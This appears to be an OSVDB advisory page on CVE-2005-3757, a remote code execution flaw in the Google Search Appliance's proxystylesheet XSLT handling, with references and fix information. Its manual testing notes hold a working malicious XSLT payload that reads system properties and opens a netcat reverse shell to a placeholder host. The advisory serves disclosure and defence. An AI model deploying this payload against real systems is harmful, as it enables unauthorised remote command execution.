20981 : Google Search Appliance proxystylesheet XSLT Java Code Execution
Printer | http://osvdb.org/20981 | Email This | Edit Vulnerability

Views This Week

Views All Time

479

Info

Last Modified

4 months ago

Percent Complete

100%

Disclosure

Nov 21, 2005

Discovery

Jun 10, 2005

Dates

Exploit

Nov 21, 2005

Solution

Unknown

Description

The Google Search Appliance contains a flaw that allows a remote attacker to execute arbitrary Java methods as an unprivileged user. The issue is due to the proxystylesheet parameter in the search request, which loads an external XSLT style sheet from a URL. The XSLT parser is based on Saxon, which allows Java method calls from within an XSLT document. This allows an attacker to execute arbitrary code and commands on the appliance.

Classification

Location: Remote/Network Access Required
Attack Type: Other
Impact: Loss of Integrity
Exploit: Exploit Available
Disclosure: OSVDB Verified
OSVDB: Web Related

Solution

Upgrade to the version specified by Google advisory GA-2005-08-m, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

Google, Inc.	Mini Search Appliance	Unknown or Unspecified
Google, Inc.	Search Appliance	Unknown or Unspecified

References

FrSIRT Advisory: ADV-2005-2500
Bugtraq ID: 15509
Related OSVDB ID: 20977 20978 20979 20980
Generic Exploit URL: http://metasploit.com/projects/Framework/link.php?type=exploit&vers=2&name=google ......
Other Advisory URL: http://metasploit.com/research/vulns/google_proxystylesheet/
Secunia Advisory ID: 17644
CVE ID: 2005-3757 (see also: NVD)
Security Tracker: 1015246
News Article: http://news.techwhack.com/2526/221129-google-fixes-security-flaws-in-google-mini/ ......
http://www.eweek.com/article2/0,1895,1891796,00.asp
http://www.techworld.com/networking/news/index.cfm?NewsID=4840
http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20051122GoogleMiniN ......

Tools & Filters

Nessus	20241
Snort	11223

Manual Testing Notes

Replace the proxystylesheet variable in the search URL with a URL to a malicious XSLT style sheet. This style sheet should contain a block like:

XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> 
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> 
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> 
OS: <xsl:value-of select="sys:getProperty('os.name')" /> 
Version: <xsl:value-of select="sys:getProperty('os.version')" /> 
Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> 
UserName: <xsl:value-of select="sys:getProperty('user.name')" /> 
UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> 
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" />

Executing command... 
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc$255.255.255.255$53|sh|nc$255.255.255.255$53')" />

<xsl:text disable-output-escaping="yes">

Credit

H D Moore - fdlistdigitaloffense.net - The Metasploit Project

Blogs

Provided by Technorati

None found at this time

Comments

Add Comment Hide Add Comment

No Comments.

DONATE NOW!

User Status

Account
- Login
- Sign-Up

Quick Searches

Views This Week

Views All Time

Info

Last Modified

Percent Complete

Disclosure

Discovery

Dates

Exploit

Solution

Description

Classification

Solution

Products

Google, Inc.

Mini Search Appliance

Search Appliance

References

Tools & Filters

Manual Testing Notes

Credit

Blogs

Comments